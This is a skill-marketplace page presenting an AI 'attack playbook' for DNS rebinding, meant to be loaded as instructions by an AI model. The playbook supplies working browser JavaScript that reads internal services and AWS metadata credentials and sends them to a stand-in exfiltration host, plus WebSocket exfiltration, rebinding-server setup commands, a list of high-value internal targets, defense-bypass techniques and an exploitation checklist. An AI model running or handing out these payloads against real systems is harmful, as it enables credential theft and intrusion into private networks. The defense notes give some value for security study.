Dns Rebinding Attacks logo

Dns Rebinding Attacks

OrganizationPopular
yaklang
dns-rebinding-attacks

DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namedns-rebinding-attacks
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Dns Rebinding Attacks AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/dns-rebinding-attacks .claude/skills/dns-rebinding-attacks
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Dns Rebinding Attacks in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Dns Rebinding Attacks on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Dns Rebinding Attacks is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: DNS Rebinding — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.

0. RELATED ROUTING


1. CORE PRINCIPLE

The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for attacker.com, they can:

  1. First resolution → attacker IP (serve malicious JS)
  2. Second resolution → internal IP (victim's network)
  3. Browser considers both responses same-origin (attacker.com)
  4. Malicious JS reads responses from internal services
Victim visits attacker.com
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
TTL expires (or forced flush)
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint

Key insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.


2. TTL MANIPULATION

DNS server configuration

The attacker runs an authoritative DNS server for their domain that alternates responses:

Query #ResponseTTL
1stAttacker IP (e.g., 1.2.3.4)0
2nd+Target internal IP (e.g., 192.168.1.1)0

TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.

Browser DNS cache reality

Browsers maintain their own DNS cache that ignores low TTLs:

BrowserInternal DNS CacheBypass Technique
Chrome~60 seconds minimumWait 60s; or use multiple subdomains
Firefox~60 seconds (network.dnsCacheExpiration)Adjustable in about:config
Safari~variesGenerally shorter cache
Edge (Chromium)Same as Chrome (~60s)Same techniques as Chrome

Bypass strategies

1. Multiple A records technique:
   - Return BOTH attacker IP and target IP in single DNS response
   - Browser tries first IP; if connection fails → falls back to second
   - Block attacker IP after initial page load → forces fallback to internal IP
   
2. Subdomain flooding:
   - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
   - Each subdomain gets fresh DNS resolution (no cache hit)
   
3. Service worker flush:
   - Register service worker that intercepts and delays requests
   - By the time fetch executes, DNS cache has expired

3. ATTACK VARIANTS

3.1 Classic HTTP Rebinding

Target: internal web services (admin panels, REST APIs)

javascript
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
    // Wait for DNS cache to expire
    await sleep(65000); // >60s for Chrome
    
    // This request now resolves to internal IP
    const resp = await fetch('http://attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // Exfiltrate to different attacker endpoint
    navigator.sendBeacon('https://exfil.attacker.com/log', data);
}

3.2 WebSocket Rebinding

WebSocket connections persist after DNS rebinding. Establish WS, then rebind:

javascript
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

3.3 Time-of-Check-to-Time-of-Use (TOCTOU)

Server-side applications that validate DNS at request time but reuse the connection:

1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP

This is a hybrid with SSRF — the rebinding happens in the server's resolver.

3.4 Multiple A Records (Fastest Variant)

DNS response for attacker.com:
  A  1.2.3.4       (attacker — serves JS)
  A  192.168.1.1   (target — internal service)
  
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS

4. HIGH-VALUE TARGETS

TargetPortWhy
Cloud metadata169.254.169.254:80AWS/GCP/Azure instance credentials, tokens
Docker API172.17.0.1:2375Container creation, host filesystem mount → RCE
Kubernetes API10.96.0.1:443/6443Pod creation, secret reading
Internal admin panelsVariousRouter config, NAS, printer, SCADA
IoT devices192.168.x.x:80/443Camera feeds, smart home control
Elasticsearch*:9200Data exfiltration, index manipulation
Redis*:6379Data read, config set for RCE
Consul/etcd*:8500/2379Service discovery, secret storage

Cloud metadata specific

javascript
// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
    });
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header

IMDSv2 defense: requires X-aws-ec2-metadata-token header from PUT request. Rebinding cannot easily set custom headers on the initial token request in no-cors mode.


5. TOOLS

ToolPurposeURL
SingularityFull DNS rebinding attack frameworkgithub.com/nccgroup/singularity
rbndr.usQuick rebind DNS service (IP pair in subdomain)rbndr.us
whonowDynamic DNS rebinding servergithub.com/taviso/whonow
dnsrebinderMinimal Python DNS server for rebindingCustom / various repos

Singularity quick start

bash
# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go

# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

rbndr.us (zero-setup)

Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
  → alternates between 127.0.0.1 and 192.168.1.1
  
Convert IP to hex:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

6. DNS REBINDING vs. SSRF

AspectDNS RebindingSSRF
Execution contextClient-side (browser)Server-side
Origin bypassSame-origin policyNetwork access controls
Attacker controlsDNS resolutionURL/request sent by server
RequiresVictim visits attacker pageVulnerable server-side fetch
Internal access viaBrowser on victim's networkServer's network position
Credential inclusionBrowser cookies auto-includedNo user credentials
Protocol supportHTTP/WS (browser-limited)Any protocol (gopher, file, etc.)

Critical difference: DNS rebinding leverages the victim's browser as the pivot point, so it accesses services visible from the victim's network, with the victim's cookies/credentials.


7. DEFENSES AND DEFENSE BYPASS

Common defenses

DefenseHow it works
DNS pinningBrowser/resolver caches DNS and refuses re-resolution
Host header validationServer rejects requests with unexpected Host header
Network segmentationInternal services not reachable from browser network
Private network access (PNA)Chrome's proposal: preflight for requests to private IPs
Authentication on internal servicesInternal services require auth, not just network access

Defense bypass techniques

DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)

Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations

Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected

8. DECISION TREE

Want to access internal services from victim's browser?
├── Can you get victim to visit your page?
│   ├── YES → DNS rebinding is viable
│   │   │
│   │   ├── What is the target?
│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
│   │   │
│   │   ├── Browser cache concern?
│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│   │   │   └── Use multiple A records technique for instant rebind
│   │   │
│   │   ├── Target checks Host header?
│   │   │   ├── YES → Rebinding alone won't work
│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│   │   │   └── NO → Proceed with rebinding
│   │   │
│   │   └── Need credentials?
│   │       ├── Browser auto-sends cookies → works if same-site allows
│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
│   │
│   └── NO → DNS rebinding not applicable
│       └── Consider SSRF if server-side fetch exists
└── Is this server-side DNS validation bypass? (TOCTOU)
    ├── YES → Hybrid approach (Section 3.3)
    │   └── SSRF with DNS rebinding for IP validation bypass
    └── NO → Review ../ssrf-server-side-request-forgery/ instead

9. REAL-WORLD EXPLOITATION CHECKLIST

□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data

Frequently asked questions

What does the Dns Rebinding Attacks AI skill do?

DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.

Why use Dns Rebinding Attacks on TypingMind?

Because you install it once and use it with any model. Dns Rebinding Attacks is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Dns Rebinding Attacks in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/dns-rebinding-attacks. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Dns Rebinding Attacks?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Dns Rebinding Attacks?

As many as you like. As long as a model supports skills, you can use Dns Rebinding Attacks with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Dns Rebinding Attacks AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇